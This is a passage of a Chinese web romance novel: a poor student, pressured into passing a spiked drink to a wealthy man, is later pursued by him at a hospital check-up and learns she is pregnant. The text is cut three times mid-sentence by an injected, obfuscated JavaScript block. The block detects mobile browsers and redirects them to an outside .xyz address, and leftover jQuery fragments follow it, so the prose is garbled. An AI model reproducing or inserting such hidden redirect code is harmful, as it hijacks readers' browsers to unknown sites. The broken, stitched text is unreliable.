她用着打包票的力度拍了拍胸膛,笃定地说,“你就放心吧,这包东西绝对不是什么害人的玩意儿,它只是一包解酒药。而且,如果出了什么岔子,我会为你兜责,不会让任何人伤害到你。”
也许是晴瑶说的太过于天花乱坠,也或许是通过晴瑶的这番话,舒浅想到了儿童时期,母亲的声音。
她居然鬼使神差的答应这个请求。
误以为天上掉馅饼这种好事会发生在她身上。
可舒浅为什么不能多想想。
从小到大,幸福与自己就不沾边。
六岁那年,父亲开货车出车祸去世,母亲因过度悲痛而深夜发烧,因没能得到及时治疗,最终失去了声音,也因此被工作地点嫌弃,致使年幼的她不得不承担家庭的重任,受尽了白眼。
她本不想对这个世界抱有希望,是母亲的存在让她一遍遍重拾信念,相信现实。
现在,临门一脚的冲突踢翻了这一切。
她不仅要对晴瑶解释失败的当晚到底发生了什么,还要面对一夜情对象的两面夹击,让她丧失关照母亲的自主权。
实在是太让人崩溃了……
—
周四,学校临时举办了体检。
目的是为了普及健康知识,预防潜在艾滋病,所以需要抽血。
在一众饿得咕咕叫的同学中,舒浅尤为的脸色苍白。
朋友见她这样,偷偷拿了块小饼干给她,“小浅,要不吃点垫垫。”
舒浅摇头,“算了。”还是不要做一些干扰检测结果的行为了。
她揉了揉脑袋,感到心跳的厉害。
也不知道是被沈和易吓的还是怎么,总觉得这几天精神不在状态,莫名的弑困。
里面的医生在叫她的名:“舒浅。”
她连忙从座椅起身,小跑前去。
推门进去坐着,很
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564728|155598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自觉的将袖口捋了上去。
实习护士握着血带看了一眼,求助似的看向旁边的人,小声道,“这血管这么细,我不敢扎啊。”
“我也不敢啊,看着就瘦的不行,扎出事怎么办?”
“要不让孙医生过来扎?”
“你傻啊,这么小点事让他来扎,你工作想不想要了。”
舒浅没听见她们说什么,只认为小声嘀咕是出了些事,所以抬抬眼睛,“怎么了?”
“没事。”
血带被绑上,舒浅咬了好久的嘴唇。
—
“这些便是我们最新引进的医院高精尖设备,怎么突然打算回国涉足这些领域了?”
孙医生在沿着楼道和沈和易并排走,漫不经心地询问着。
“主要是看见国内亚健康问题日益严峻,想抢占下市场先机。”沈和易随口应答。
孙医生笑,“要怎么说你们这些商人能挣钱呢,就是比一般人有前瞻性。”
沈和易嘴角勾起浅笑,不置可否。
其实不然。
他倒也没有这么远大的抱负去研究人类的健康,为大众谋福祉。之所以突然有涉足医疗领域的念头,更多的是出于对老爷子健康状态的堪忧。
日益衰退的身体定会造成家庭的鸡飞狗跳。
若自己能先一步掌握这块领域的知识,派上用场,定能借此讨老爷子欢心。
至于别人……
就留给别人来操心吧。
迎面跑过来的小护士神色惊慌,却在瞥了一眼沈和易的同时耳垂轻微泛红。她指着身后,语无伦次,“孙医生你快去看看吧,今天学校组织抽血,一小姑娘的血管死活扎不进去,挨了好几针。本想继续扎,结果人突然跑了,没了踪影。”
“那手腕处都是针眼,血还在往外流,而且还这么瘦,看着像贫血。”小护士因为过于害怕,言语并没有什么逻辑。
孙医生听闻,眉头紧锁,走上前去,“快带我去看看。”
他回头对沈和易道,“沈总,你先自行参观,我处理完这边的事就回来。”
沈和易点了点头,在表情上给予理解,但心底并不认同他的那些话。
该看的已经看好,角落里已经没有留恋的东西。再看下去,真是浪费时间。
他准备离开医院。
乘坐电梯,门正缓缓关闭,“唰”的一下,一个奔跑的身影掠了过去,残留了点淡雅的清香。
仅仅一秒钟的时间,带动所有的器官活跃起来,他忽而开始兴奋。
哦……
原来舒浅也在这。
刚才所描述的特征确实很像她,只不过他根本不想将那个小护士语无伦次的语言拼接好,寻找有用信息。
没想到居然差点错过一场相遇的机会。
从上次见面,他已经给舒浅一次机会,主动了一会。
没想到她却毫无反应。
一不主动加他的联系方式,二不威胁他要一些钱财,连带着身影都已经隐去,像是刻意和他的生活做了一场脱节。
真是让人不爽……
这个女人。
他打开电梯,走了出去。
5. 第 5 章
舒浅几乎是跑着离开检验处,以至于脚步停了下来,还有点气喘吁吁。
手指撑在洗漱台,平复了很久的内心,才将那份紧张的情绪抛却而去。
她并不是无缘无故的逃跑,而是说,必须要跑。
因为她坐在椅子上,清楚的听见医生叫了“晴瑶”的姓名。
躲了她这么久,她不想将努力付之东流。
更何况,那天,她和沈和易双双消失在派对中,至今为止,她还想不到天衣无缝的借口。
躲着就好。
她在心里说,躲着就好……
在厕所里暂避了一段时间后,舒浅心中大致盘算出学校里的体检已经结束,大巴车想必早已载着同学们的身影踏上回学校的归途。
若此刻出去,定不会有再见的可能性。
想到这里,她的心情跟着愉悦起来。却因为不经意的摆动身体触到伤口,让她的眉头微微皱起。
她怎么能忘了自己身上还残留着这么多针眼的痕迹啊!?
真是每走一步都像行走在刀刃上,难以忍耐。
从厕所走出,舒浅象征性地抬眼看路标。却因为来时匆忙,忘却了回时的路。
一个人站在无人的楼道,她的脸上逐渐露出无法言说的迷茫。
去医务室找工作人员问路?这一念头在舒浅的大脑中只闪存了一秒钟,就硬生生的被压下去。
还是自己先随便走走看吧。
她想。
如果十分钟后再找不到路,她就鼓起勇气向别人询问。
……
虽然很不想承认这个事实,但是十分钟确实过得很快。
特别是赶在十分钟这个节点,她又绕到了躲藏她身影的那个厕所。
舒浅觉得自己真有必要找人问路了。
她抬眼瞧瞧,左边是神经科,右边是什么心血管科。她停顿在两个门中间,犹豫该推开哪扇门。
迎面的忽而走出一个男人,背着她在往前走,行色匆匆,左顾右盼,似乎在找人。
大致方位像是从体检处那过来的。
也许知道点有用信息。
舒浅这么想,收回想敲门的手。
因为谁也不知道贸然推开一扇紧闭的门,等待她的是什么。
—
沈和易还在寻找舒浅的身影。
从电梯走出,慢条斯理地整理了下衣角,前后不过三秒钟的时间,舒浅就已经在他的视野里悄然失踪。
明明看起来这么瘦小,腿也短的不行,跑起来却是这么有劲。
他不慌不忙走马观花似的看着,心里想,真是小瞧她了。
又绕了一遍,依旧找不到舒浅。
这让从小到大都没有受挫的他,不禁有点不耐烦。
找不到就不找了。
反正也知晓了她的基本信息,年级班级,只要他主动去找她,她躲的掉吗?
这么想,他心满意足的勾起嘴边含笑,准备离开。
听见细细碎碎的声音在议论舒浅的名。
“唉,她不是往这边走的吗?怎么找不到人啊!?”
“就该安排个人在门口堵着,看舒浅怎么跑?”
“真服了,原本是想为我们的未来考虑,没想到便宜到她了!她和沈和易双双失踪在派对里,没干什么我肯定不信啊!小姑娘年纪轻轻的,怎么心眼这么重,算计到我们头上了!?”
“对啊,当时不就看她老实,没什么背景,才选上她的嘛,没想到倒打一耙……”
“唉……和易。”
晴瑶嘴角一抽,收回刚才说小话的嘴脸,只不过眼中还残留着心虚。清了清嗓音,用着尽可能亲切的语气叫了沈和易的名。
“你怎么在这?”
“我为什么不能在这?”这种没涵养的话他当然不会说。
前不久赵持特地打包票让他原谅晴瑶,条件任他开。他模棱俩可回复着,既没有肯定,也没有否定,目的是为自己留后路。
但现在,他的想法突然了。至少在这一刻,他想要原谅晴瑶,因为她刚刚说出了一个让他满意的信息。
于是,他故意摆出一副毫不知情的模样,用着人畜无害的语气说道,“在聊什么,我好像听见了选上二字……”
晴瑶和另外一个女生的脸色瞬间变得慌乱,她们对视一眼,眼底闪现一丝不知所措。
还好晴瑶先行恢复平静,娇滴滴开口:“没什么呀,就是说学校的演出嘛,和易哥,你要来看吗?”
“好啊。”
他接过她的邀请函,低头扫了眼,视线却没聚焦在上面。想的是,既然是选上,那舒浅在和他上.床之前肯定已经知晓了他的模样。如此看来,那杯递给他的酒,分明是有预谋的!
有预谋啊,有预谋……
他细品这个词,想到那日她躲闪的目光,还在为她开脱。认为她只是因为喝酒喝的多,断片了,所以没有认出他。
现在,他轻微冷笑,手指将邀请函拧作一团麻花,咬牙切齿。
舒浅啊舒浅……
你居然装不认识我?
身后,晴瑶大口喘气,盯着男人逐渐隐去的身影,祈祷似的说话,“沈和易怎么在这?应该没有听见我刚说的话吧……”
“应该没有吧。”旁边女生模棱俩可的回,“看他样子不像是听见了。而且,他都没找你的事……不就意味着,那天,他根本就没有出事!”
“是哎。”晴瑶心事重重的强颜欢笑。
在她们看不见的地方,麻花已经垂直下降在垃圾桶底部,发出“砰”的一声。
—
“陈班,怎么是你?”
另一边,舒浅还因为问路问到熟人而雀跃不已。
“你怎么没穿工作服就来送外卖?”
陈讯连忙用手堵住舒浅的嘴,见旁边没人,才将手放下,“那个……衣服刚被可乐弄脏了,还没有干呢。这可不兴往外说,领导知道要扣钱的!”
“哦……哦哦,好。”舒浅连忙点头,对自己刚才的唐突行为做了个道歉。
“你怎么会出现在这?”
陈讯松了口气,好奇问了这句。
“我……那个学校组织了体检。”舒浅说到这里,猛然意识到这才是她最要紧的事情,于是连忙询问,“陈班,你知道检验处的具体位置在哪里吗?”
……
沈和易继续迈动步伐,心中那份被舒浅欺骗的火愈演愈烈,久久不能平息。
她居然欺骗了他?
从小到大,谁敢在他眼皮子底下玩心眼?
就这么想完,沈和易猛然惊觉,也不清楚此刻身处在哪。
眉眼一挑,耳朵一立,听见柔软的声音一直在说谢谢。
正在气头上,这声音简直刻到骨子里。
他怒气冲冲的走了过去,只见舒浅正微微俯身,嘴上挂着明媚的笑意,在和一个男人说话!
那副表情和在他家那副怯弱神情完全不同,以至于让他不敢相信,那是不是舒浅。
是不是那个已经将他遗忘的舒浅。
他当然不能接受这个结果发生,就那么走了过去。
舒浅还在说谢谢,“真是太谢谢你了,陈班,没有你我可能现在还找不到路。”
“没事的,舒浅,举手之劳。”
陈讯话音刚落,舒浅就听见沉重的脚步声于身后蔓延。
也许是医生?
她准备移动步伐,沈和易磁性的嗓音就在她耳畔处浮过。
“舒浅。”
他再一次直呼她的大名。
舒浅紧张在原地,没敢回头,还是陈讯先打破寂静,“小浅,你后面有人,是你的朋友吗?”
他浅浅的抬了下眼,瞄了眼沈和易的穿着。讷讷移开眼。没想到舒浅还有这种朋友呢,真是人不可貌相。
朋友……
是朋友吗?
舒浅咬着嘴唇,没敢吱声。
沈和易就那么直直的看着她,以至于让陈讯的话落了声,他尴尬的挑挑眉。
“朋友,是朋友啊。”
沈和易恰当好处的开口,让沉寂的氛围一下子活跃起来。
“这是我的名片,我和小浅确实是朋友。”
他嘴角轻微含笑,掏出一张名片递交在陈讯手中。
陈讯只看了一眼,突然感到两眼一黑。
他居然是……
鸿瑞集团的创始人,沈和易!
陈讯心口一窒,在他看向他的时候,手指摆弄着明信片,轻颤了下。
而舒浅还在尚不知觉中,只感觉到他比她高一个多头的身高站在她旁边,极具有压迫力。
她连动也不敢动,被迫低垂着眼。
朋友……
怎么可能是朋友?
明明只见过一面,那天他与她的互动也不像是认出来她。
舒浅实在不清楚原因,改用余光探测了他一眼,被他全部吸入眼底。
两个目光相撞中,被他柔和的目光蹂躏着,舒浅忽而全身上下又热了起来。
陈讯还要送餐,目睹两人暧昧的视线,心里并不痛快。
特别是在这降维打击下。
他转念改口道,“小浅,那我就先去送餐,不和你聊了,刚和你说的地址你记住了吗?”
“记住了……”
她小心翼翼的点头,看见陈讯离开的背影,却丝毫不感到轻松。
因为,陈讯离开后。
她和沈和易是真正的做到了面对面站着,没有任何人的阻碍。
舒浅低下头,腼腆笑笑,“没什么事,我先走了。”
沈和易上前跟上,用着比刚才强硬的语气说道,“舒浅,为什么要走?”
就这么害怕他?
明明前不久还和一个男人谈笑风生,结果面对他却胆怯的不行。
他是比那个男人多出来什么吗?
让她这么不敢直视他的眼睛。
明明她的眼睛这么漂亮,总让他忘不掉她哭……
舒浅脊背紧绷,还是很礼貌的说明原因,“我要回去抽血,今天学校体检……”
哦。
沈和易突然想到前不久小护士所说的话,一瞬间,握住她纤细的手肘,将她的衣服剥开,吓得舒浅连连直颤。
“你要干什么?”
她的嗓音颤抖的像是小羔羊。
沈和易并没回复她,而是将她手背上所有的针眼看入眼底,紧接着微微勾唇,“舒浅,我们不是朋友吗?”
“朋友……朋友。”舒浅不知所措,言语结巴,“怎么是朋友呢?”
她和他的身份不该是朋友吧。
“是朋友啊。”沈和易笃定的开口,“你妈妈在我家当保姆,你是她的女儿。我俩抬头不见低头见,怎么就不是朋友了呢?”
“还是说。”他的言语转向具有锋利的棱角,“你不想和我当朋友?”
“没……没有。”
舒浅的手腕还被他修长的手指握着,除了上次发生的事,她还从未和异性贴的这样近,古龙水的气息又朝她吹来,她呼吸开始紊乱。
“我只是觉得……你不该和我这种人当朋友。”
“哦?”沈和易饶有兴致地挑挑眉毛。
“什么叫?你这种人。”
他怎么老是反问她问题啊?
舒浅感到浑身上下就像是被猫爪,动也动不得。
她还得赶紧抽完血去打工呢!
“就是觉得。”为了赶紧脱离他的掌控,舒浅认真思考问题,“身份地位不同……”
她后面实在不知道说些什么,所以短暂停在那,咬着嘴唇。
沈和易顺着她的话往外说,“我知道了,舒浅,你是觉得有钱人不能和你做朋友。”
“我没有这么觉得……”舒浅反驳道。
“但你刚才那样就是这个意思。”
舒浅瞬间没了音,“也不是吧……”
“你瞧不起我?”
“我……我怎么会瞧不起你呢?”舒浅差点破了音。
“那你不敢看我。”
“我是因为……”舒浅看着他微
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564729|155598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拢的关节。
“你看,还不是因为瞧不起我。”他平和的语气开口,给予了她紧迫的压力。
“我没有!”为了证明这一观点,舒浅抬起眼睛,直勾勾的盯着他。
确实很好看,像柔光的宝石。
沈和易达到目的,心里无可厚非的笑,“知道了,舒浅。”
迎面撞来孙医生的身影,他身后的小护士们慌乱指着,“就是她,就是她,那个逃跑的小姑娘。”
和沈和易还这样暧昧拉扯着被抓包,舒浅心里很不自在。
在周围人的注视下,听见孙医生发声,“你……你们认识?”
“认识啊。”沈和易抢先发声,卸下对她的掌控,“我们是朋友啊。”
“舒浅,小浅,你说是不是?”
这一问题又抛给了舒浅,她根本没办法回答,还是在这么多人的目光下。
她的大脑甚至开始停止运转,真就顺从着沈和易的话点了点头,“嗯。”
“原来是咱们小沈总的朋友啊!”孙医生笑着看着她,只不过站在他身后的小护士开始瑟瑟发抖。
“怎么办,那针眼有一个是我打的。”她小声说。
“也有个是我……”另外一个简直无暇去欣赏他的容颜,被迫扣着手指,“我会不会被辞退,我还不想丢掉这份实习工作。”
还好,小沈总并未追究。
果真是长年累月处于慈善事业的人,就是比一般人有善心。
他对孙医生说,“可以劳烦孙医生帮我朋友抽个血吗?她血管太细,实习生的技能可能并不太到位。”
“是,是,那是自然。”
孙医生此刻脸色也挂不住,连忙做出请舒浅往前走的姿势。
舒浅哪里受得了众星捧月的感觉,每走一步都是如履薄冰,倒是沈和易,依旧的随性慵懒。
真就成为朋友了吗?
舒浅现在还觉得不可思议,总感觉事情发展的很是奇怪。
行走了几百步。
也不用观看路标,就当一个路痴乖乖的跟在他们身后,就已经抵达目的地。
沈和易在外面站着,想点一根烟,但觉得在医院抽烟对形象不好,收回点烟的手,“你进去吧,有什么我帮你拿的吗?”
“好。没有。”舒浅一次性回答他两个问题,让他哭笑不得。
真就一傻子。
他虽然觉得玩她很有意思,但心头那她欺骗他的事实,气愤并未消退。
低着头玩手机,忽而听见轻呕的一声。
在场的所有人的愣住了。
脚步也随即停止,注视着发声源。
沈和易也放下玩手机的手,轻抬了眼,用着举足轻重的语气说,“你该不会是怀孕了吧?”
舒浅神色紧绷,压下去想要呕吐的冲动,奋力摇头,“不可能!”
“我只是有点着凉,最近总这样。”舒浅后面的声音又小了下来。
根本不是怀孕,因为该吃的药已经吃进肚子里,不会有怀孕的风险。
准爸爸风轻云淡说出这种话,更加加重舒浅内心的想法,他没有认出来她!
“希望是这样……”他喃喃,也不知道在跟谁说话。将平和的目光转向她,温和的说道,“舒浅,你愣着干嘛?不先进去抽血吗?”
舒浅随即跟随大家的步伐走了进去,坐在冰凉的椅子上。
重新看着血带被绑在她的手腕处,只不过面对的是孙医生。
他技术高超,可她依旧忍不住的颤抖,只因她的眼睛又看见了密密麻麻的针眼。
孙医生安慰她,“叫舒浅是吗?你只需要闭下眼,再睁开眼,不会感觉到痛的。”
真有这么简单吗?
舒浅想,前不久,那群小护士也是这么骗她的。
她心里在犹豫中,听见“哒哒哒”的脚步声,以及一声命令的语气,“舒浅,闭眼。”
她看着他的胸口,以及靠近的脸庞,眼球极速紧缩在一起。
比起打针,她更害怕他的到来。
沈和易用了很简单的方法让她闭上了眼睛。
“别让我发现你睁开眼睛。”
他说一句话的同时,气息一直在围绕着她。
舒浅知道,他一直在将目光聚焦在她脸上,看她微抿的双唇,颤抖的眼皮,红彤彤的耳朵。
可沈和易却没看这些。
他前不久,早就将这些记住,甚至第一眼,就已经记住她的眼睛。
他的视线聚焦在她平坦的小腹,眼尾漫不经心地勾着。
应该不会怀孕吧。
虽然第一次没有做任何的安全措施,但他不相信她会这么傻,事后不吃紧急避孕药。
如果真就没吃,她到底想得到什么?
钱财,名誉,权利?
他看着她青涩的眼皮跳动着。
嘴角一平。
那为什么现在不提,还装作可怜兮兮的模样?
血液顺着从血管抽离出去。
他的目光从腹部移开,看她的喉咙,向下,若有若无的显现红痕。
因为这是他做过的。
做过就会留有痕迹。
以后,他倒也不想叫别人来玷污。
想到这,他又想到和她说话的男人,眸子开始暗沉。
养一个女人也是养的起的吧。
一个孩子也是养得起的吧。
就是日后需要将家产留给他,让他不付出努力,坐享其成?
真是让人不爽。
所以。
针管从手背抽离出来,他的身体慢慢站直,目光如炬。
舒浅,你最好别怀孕。
别让我知道你肚子里怀的是什么坏心眼。
感受到脸庞的气息不在,舒浅慢慢睁开双眼,朦胧的看着眼前的一切。
以及那瓶,写上她姓名的血管。
“不疼吧,舒浅。”孙医生笑。
没等舒浅回,沈和易先一步学着孙医生说话,“不疼吧,舒浅。”
好像只准她回答他。
6. 第 6 章
舒浅说,“是。”
确实是不疼的。
也许是疼痛的感官被紧张放大,她只能感触到他温热的气息,从无到有,再从有到无,她缓慢起伏着呼吸。
“那就好,舒浅。”他轻张开嘴角扬笑,“我不能让别人亏待我朋友的。”
他看着她触目惊心的针眼,皱了皱眉头,简直比他做的还要狠。
他张开手指指了指,“拿点碘伏吧。”
万一着凉和炎症并发,以她那瘦小的身体支撑,岂不是要发烧。
虽然前不久听见的呕吐声很像孕吐,但沈和易还是准备相信她。
毕竟,没有人会比自己,更清楚自己的身体。
“好。”
舒浅接过孙医生递过来的碘伏,轻微擦拭,凉意顺着肌肤蔓延,她抬了抬头。
沈和易也太奇怪了。
无缘无故要做她的朋友,还要带她来抽血,图的是什么啊?
一闪而过的目光当然被他察觉到。
他随意低下的眉尾又扬起,轻拢含笑。
舒浅,好戏才刚刚开始。
他一定要揭开她隐藏的面纱。
周日,舒浅照往常一样工作完往学校走,想的却是不能去别墅的难过。
前不久,妈妈发信息还问她怎么不来了。
她害怕撒谎,抉择了很久才发:最近要考试复习。
妈妈表示理解,经过舒浅的指导,她使用智能手机越发熟练。发的文字中还配上一个表情包【加油哦】,看的舒浅有点想哭。
日子还需要过,药也需要买。
看着数字依旧那么少的余额,舒浅忍不住叹气。
几道身影阻挡住她前进的脚步。
舒浅想往旁边走,她们偏偏往旁边靠,几次推拉下,舒浅总也走不过去。
她终于坐不住了。
也许是因为母亲的事让她情绪失控,她抬抬眼,“你们要干什么?”
气势只在一秒就低沉了下来。
只因站在她面前的是晴瑶,和她的好朋友。
也就是,前金主和她的玩伴。
晴瑶因为她的小脾气来了起,推搡着,“舒浅,几天没见,小脾气见长?给沈和易递杯酒水,飞上枝头当凤凰了?”
言语间字字珠玑,抨击着她的心灵。
舒浅上牙咬咬嘴唇,不知道该怎么反驳。
她怎么能忘了有这一号人物需要躲着。
上次没完成晴瑶的任务,还在派对上失联,她气急败坏的抓耳挠腮。
后面得知沈和易也消失在派对中,更是坐不住,非说她使坏利用她的技能勾引他。
她怎么可能会勾引沈和易。
看上他的颜值还是钱财吗?
她通通不在乎。
她只希望妈妈可以平安健康的生活,在不久的将来,可以说出一句完整的话。
舒浅的隐忍并没有换的她们的同情,反而变本加厉的推搡她的肩膀,让她节节败退。
“说,你和沈和易有没有干些什么?那天到底发生了什么?你说沈和易没喝,那酒水为什么会凭空消失不见?说理由,证据,不然我们是不可能让你走的。”
她接下来要去图书馆兼职整理书籍的工作,任职第一天就迟到,着实让人印象不好。
看着她们咄咄逼人的嘴脸,舒浅就想到那天,她亲眼看见沈和易喝下那杯酒水,可自己却是莫名的晕乎乎。
事情出在哪里了?
她也不想让失态失控啊!
而且,比起沈和易。
她明明更需要晴瑶的十万块钱啊!
推搡让她身体发胀,可头脑越发清醒。
每一步她都勤勤恳恳的做到极致,明明她也是受害者。被迫和不喜欢的人睡了一夜,至今想起来,身下都会胀疼。
不仅丢掉为母亲治病的十万块钱,就连看望母亲都得小心翼翼。还得面对她们的夹击,她凭什么啊?
如此般,舒浅站直身体,虽然眼角泛红,但是临危不惧地道,“我说了,沈和易没喝那杯酒水,信不信由你。你喜欢沈和易,自己去付出努力,付出行动,你去追。还有,在这个世界上,不是所有的女生都像你一样,围着一个男人转,把他当作宝贝。”
她郑重其事的陈述自己的观点,“我不喜欢沈和易,我永远都不会喜欢他。如果把我看成你的潜在竞争对手,我只能说,你看错人了。”
家境贫穷的她哪里有时间沉迷于恩恩爱爱。
她从她们中间插过,“我还要去工作。”
晴瑶一伙人看着前不久炸毛的舒浅,轻蔑的笑,“没想到这小妮子能说这么多话呢,不过她既然说出那些话,是不是也证明了那个观点?”
“当然了。”旁边人小声道,“沈和易肯定没和她有瓜葛,至于为什么消失不见,肯定是临时有事啦。至于酒水为什么见底,谁倒霉谁喝咯,管这么多干嘛?”
呵呵呵……
她们笑道。
—
在图书馆整理图书的时候,舒浅临时接到一个电话。
对方简单陈述了下,舒浅才方知是外卖小哥打来的。
放下手机的那一瞬,舒浅还有点迷迷糊糊。将脑子里面的每一个缝隙都搜寻了一遍,也记不清自己是何时点了外卖。
出去的时候看见外卖小哥提着一个DIOR的盒子递给她,用眼睛瞄了一眼问,“你就是舒浅吧。”
舒浅点头。
“签个收吧。”他指了指礼盒,“一先生让我送给你的。”
比平时的语言都缓和了不少,只因兜里的小费是平日里的几百倍。
“哪个先生?”舒浅困惑,于情于理问出这句话。
“对方说要保密。”
他招了招手,徒留舒浅一个人呆愣着看着礼盒。
她本想找时间查明下真相,可第二天又来了个陌生的外卖员为她送来了Armani牌子的香水。
具体发生的事情和昨日里一样,所以今日的舒浅对待来路不明的礼物,毫无一丝进展。
等到第三天,面对送来的Cartier手表,舒浅终于学坏,拉了下外卖员的手臂,说不说是谁送的,她就拒签。
外卖员也是一脸苦相,只说了多高多瘦,长相很贵气,其它一概没提。
就这么僵持半天,舒浅终于败下阵来。
只因旁边同学那灼热的目光,让她无地自容。
如此般耗着,在不同人的嘴里,明天不知会编造出多少新闻。
她连忙将礼盒放入兜里,藏匿在宿舍一角。
三天送来的礼物们,她并没有拆封,甚至说,碰都不敢碰。
她并不知道那些牌子,但本着保险原则,还是以物搜图了下。
结果让人咋舌,每一个都价值不菲。
这更加加重了她心中的想法,礼物定不是送给她的,是送礼物的人搞错对象了!
旁敲侧击的在表白墙发了个帖子,结果却是石沉大海。为此,舒浅有点沮丧,因为这些礼物在她桌上多放一秒,心里就如刀割般刺挠。
张依依是她的室友,正好推门而入,看见这一切,嘴里振振有词,“不是吧,舒浅,你男朋友也太有钱了吧,这些可都是今年限量款的,说送就送啊?”
金色的字母标识在拐角都如此耀眼,舒浅连忙又将它们往拐角尴尬的移了移,开始摇头解释,“不是,好像是送礼物的人送错人了。”
“哦。”张依依先是平的一声,随后声调扬起不少,又“哦!”了一声。两眼如同放光,“那你岂不是血赚了?”
“将这些放闲鱼上卖了。”张依依扣着手指精打细算,“少说也有几百万咯,你放支付宝利息都不少呢!”
她平日里不贴舒浅这么近,今天却反常态,拉着舒
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564730|155598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浅的胳膊,亲昵的开口,叫了几声小浅,“我们是好室友,好朋友吗?”
听见好朋友这个词。
舒浅率先一咯噔,被张依依摇晃的打断思绪,停顿片刻,讷讷的点了下头。
好朋友这么容易当吗?
她有些不知所措。
临近晚上十一点,大致推断出今日别墅工作已经完成,舒浅站在天台,看了眼上床的室友,小心贴着话筒说话。
“李妈,你好,嗯,我是舒浅。”
平日里她不喜欢麻烦人,有什么事会直接给母亲发信息,亦或是直接去别墅了。
如今却因为和沈和易的这一层关系在,让她不得不另谋西路,询问下母亲的种种事宜,毕竟人总是报喜不报忧,舒浅还是对她那个说不出话的哑巴母亲,由衷的担心。
李妈也乐意回答这些问题。
一来二去,唠了有三十分钟的时间。
虽然门缝都是严严实实,但舒浅还是害怕自己谈论的声音飘入宿舍内。
她准备在这个时间点,切断和李妈的交谈。
不过在此期间,她还需要问件事。
舒浅抬眼望望漆黑的天,心有点忐忑,喘了口气,张嘴,“李妈,就上次你给我介绍的男生……”
李妈尚在火热的氛围中,一听这一话题,更是来了兴趣,“小浅,怎么了?你是不是突然觉得李妈我给你介绍的人好咯!我跟你说,李妈给你介绍的人,可都是好小伙子,精打细算,可会过好日子嘞!”
“不……不是。”
舒浅改口,只不过言语间有点结巴。
她本来还以为是李妈将她的信息透露给那个男人,可听见李妈口中“精打细算”四个字,她立马摇了摇头,将这个人从她的潜在名单里踢出去。
不是他送的。
—
第四天,工作途中,照常接到外卖小哥打来的电话。
舒浅想,这次,无论围观人群有多少,她也不会接收礼物。
可看见礼物的一瞬间,她整个人都呆住。
热烈似火的玫瑰花,正中心,镶嵌着含有她英文字母的爱心。
SHUQIAN。
她反复斟酌这些字母,只觉得手心拧出来的汗越发多,连带着脚步也扎根在水泥地里,动弹不得。
她想,她得死在这里了。
原本还以为是送错人的乌龙变成了恶作剧,也许恶作剧的罪魁祸首正在人堆里瞧着她不知所措的模样,而她无法抵抗。
炙热占据她的全身,舒浅甚至连抬头的力气也没有。
听见旁边人的嬉笑,手指力度在一点一点缩紧,想将玫瑰花扔在地上,最终却只能落荒而逃的回宿舍。
好想哭。
到底是谁要看她如此落寞的模样。
第五天,她请了一天班,可电话铃声依旧如临大敌般袭来,充斥在她的全身上下,舒浅终究是承受不住了。
握住手机的那一瞬,甚至大脑都没反应过来,就听见自己那情绪崩溃的声音:“我不要,拒收,拒收……别给我礼物了。”
来路不明的恶作剧,足以让她恐慌。
特别是前不久还经历了前所未有的事情。
一阵呕吐声翻滚起来,舒浅连忙伸手去握水杯,准备喝水压一压。
最近总是出现诸如此类的状况,她觉得,有必要去一趟校医院,开一些药物了。
温开水还没下落至肚中,听见一声温润的声音,“舒浅,是我。”
“我是孙医生。”
他的声音缓和了些她的思绪,让她莫名变得安心起来。
舒浅连忙抽出一张纸,擦了擦眼尾,将情绪收好,坐直身体,抱歉的开口,“对不起,孙医生,我以为是别人……”
“没事。”他依旧很温柔,但下一秒,信息却轰炸在她脑海中。
“你知道自己怀孕了吗?”
7. 第 7 章
在孙医生此话落地,舒浅的脑袋“嗡”的一下传了很久,用着不可置信的语气说道:“怀孕?”
“没错。”孙医生笃定的语气让舒浅再次失愣片刻,他展开报告单,看了一眼,对电话那头的舒浅陈述了这一事实。
“上次你抽血的检测报告出来了,上面显示你hCG水平高于正常范围,是怀孕的表现。”
他说完后,有几分失神,扶着脑袋,无奈的摇了摇,心里想:现在的大学生,怎么都不知道如何科学避孕?看来有必要在校园里,进行性知识的宣传。
“你看你有没有时间过来复查一下。”
孙医生并不是妇产科医生,如果不是因为舒浅是沈和易的朋友,他不会将所有的耐心对准她。
原本只是善意的提醒,可砸在舒浅身上,却如同长空中的惊雷。
一瞬间,在她的大脑中引爆,她头皮跟着颤抖。
连忙拒绝:“孙医生,不用。我准备去附近的医院复查,不劳你费心了。”
挂断电话,心脏如同被棒锥敲击,回响在血液深处,久久不能停歇。
之所以拒绝是有理由的。
一是她确实不想去这么远的医院,先不说浪费的时间之久,打车费也需要消耗不少钱财。不过比起这个,第二个才是最主要的原因。
她害怕沈和易知道。
前不久孙医生对沈和易如此毕恭毕敬,舒浅察言观色的久,自然猜的到两人的关系。
